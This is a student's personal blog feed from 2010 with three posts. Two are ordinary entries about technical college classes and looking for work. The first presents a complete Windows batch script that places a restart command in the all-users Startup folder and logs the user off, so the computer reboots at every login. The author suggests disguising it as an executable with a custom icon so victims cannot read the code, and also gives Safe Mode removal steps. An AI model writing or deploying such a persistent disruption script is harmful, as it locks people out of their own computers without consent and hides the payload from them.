Andrew DeFilippis » CPTC

An Infinite Restart Script for Windows Operating Systems

Andrew DeFilippis — Tue, 23 Feb 2010 02:45:06 +0000

In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts. Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN. Last week, I started to think about how could I have the computer restart every time a user tries to log on to their computer. Finally, after shifting code around for a while, I came up with a reliable script to do what I wanted it to do.

Upon execution, this Windows Batch Script will create a file called “restart.bat” that includes the command to immediately restart the computer. This file is then moved to the Startup folder for all users. After the file is moved, the user that is currently logged in will be logged off. When the user attempts to log on to the computer again, the computer will restart. Now every time the user tries to log on to the computer, it will automatically restart.

This is a script that will annoy just about everyone. One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below. Now instead of running a script, you run an executable with your own icon. The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.

To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode. This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears. After you boot into Safe Mode, go to (Start > All Programs > Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.

:: Windows OS Infinite Restart Script
:: This script will cause a Windows OS to immediately restart after logging in to a user account.
:: Created by Andrew R. DeFilippis on February 22, 2010
:: http://www.andrewdefilippis.com/

@ECHO OFF
:: Disable echo commands from printing on screen

ECHO ^@ECHO OFF > restart.bat
ECHO SHUTDOWN /r /t 0 >> restart.bat
ECHO EXIT >> restart.bat

VER | FIND “5.1″ > NUL
IF ERRORLEVEL 0 GOTO OLD
VER | FIND “5.2″ > NUL
IF ERRORLEVEL 0 GOTO OLD
:: Determine what OS version is being used

GOTO NEW
:: If OS version 5.1 or 5.2 is not found, then go to NEW

:OLD
MOVE “restart.bat” “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into older Windows OS’s
:: Then log off the current user

:NEW
MOVE “restart.bat” “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into newer Windows OS’s
:: Then log off the current user

This script is posted for educational purposes only.

I am NOT liable for the use and/or misuse of this script.

I’ve been out of work for a while…

Andrew DeFilippis — Sun, 15 Nov 2009 00:12:39 +0000

Since mid May, I have been looking for someone to hire me. April was the last month that I was employed and it has been very frustrating trying to find a company that is hiring someone who is not a 16 year old high school student or a previously employed 40 year old who has to support their family.

One of the most frustrating things about the search for a job, is the amount of employers that are looking for people to work from 8AM to 5PM. Because I am going to school at Clover Park Technical College, I am unable to work any time before 3:30PM. I probably would have been able to work 20 or more jobs by now, but because of the schedule conflict, I couldn’t apply.

Today, after driving to different stores around Tacoma asking if they were hiring, I ended up coming back home to check the job search websites, indeed.com, and craigslist.com, I found a company that was looking for someone in the IT field. What a surprise! I finally found a company that was for sure, hiring for nights and weekends! After looking through the details of the job, I couldn’t find one request that I didn’t match. My classes at CPTC cover almost exactly what they need. Getting an education and having a job that directly matches what I am learning, would be perfect! I am hoping that this might be my lucky break, and I might have my jump start into Information Technology, the career that I will be going into.

As a backup to all of the job searching that is going on, an application that I turned in a while back, finally processed. The application is for a chance to work for LESA in Tacoma. LESA is the Law Enforcement Support Agency. I applied to become a Communication Officer or Dispatcher for Pierce County. They are holding a qualification test on the 19th where I will know if I possess the skills necessary to become one of their dispatchers or a 911 call taker.

I am hoping that soon, I will be able to post that I have settled into a new job!

CPTC – First Quarter

Andrew DeFilippis — Thu, 15 Oct 2009 00:03:48 +0000

My first quarter at Clover Park Technical College is going great. I am currently in the first classes of the year for Computer Networking and Information Systems Security, and they are interesting. I noticed that I know quite a bit about what we are learning this quarter from working with computers for a large chunk of my life. The classes have been on computer hardware and general security concepts.

I am looking forward to finishing these classes and obtaining an associates degree, so I can look for a decent paying job!